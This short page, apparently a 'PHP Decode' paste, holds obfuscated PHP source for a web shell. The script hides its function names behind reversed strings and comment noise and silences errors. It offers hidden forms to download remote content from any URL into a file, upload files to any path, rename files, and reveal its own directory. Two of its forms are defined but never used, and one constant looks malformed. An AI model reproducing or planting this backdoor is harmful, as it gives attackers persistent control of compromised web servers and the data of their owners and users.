PHP Decode

<?php
error_reporting(0);$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";$id=$sr/*+/*+*/("ri"."d_"."si");$rn=$sr/*+/*+*/("em"."an"."er");$dn=$sr/*+/*+*/("em"."anr"."id");  $cd=$sr/*+/*+*/("ri"."deso"."lc");$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");$dlform='<form method="post">FN:<input name="fn" size="20" type="text">URL:<input name="url" size="50" type="text"><input type="submit" value="ok"></form>';$ulform='<form method="post" enctype="multipart/form-data"><input name="uf" type="file">SP:<input name="sp" size="50" type="text"><input type="submit" value="ok"></form>';$rnform='<form method="post">ON:<input name="on" size="50" type="text">NN:<input name="nn" size="50" type="text"><input type="submit" value="ok"></form>';$lpform='<form method="post">DP:<input name="dp" size="50" type="text"><input type="submit" value="ok"></form>';$sfform='<form method="post">DF:<input name="df" size="50" type="text"><input type="submit" value="ok"></form>';if($_GET['vx']=='dl'){echo($dlform);if($_SERVER['REQUEST_METHOD']=='POST'){$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));}exit;}if($_GET['vx']=='ul'){echo($ulform);if($_SERVER['REQUEST_METHOD']=='POST'){$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);}exit;}if($_GET['vx']=='rn'){echo($rnform);if($_SERVER['REQUEST_METHOD']=='POST'){$rn/*+/*+*/($_POST['on'],$_POST['nn']);}exit;}if($_GET['vx']=='gp'){echo($dn/*+/*+*/(FILE));exit;}
?>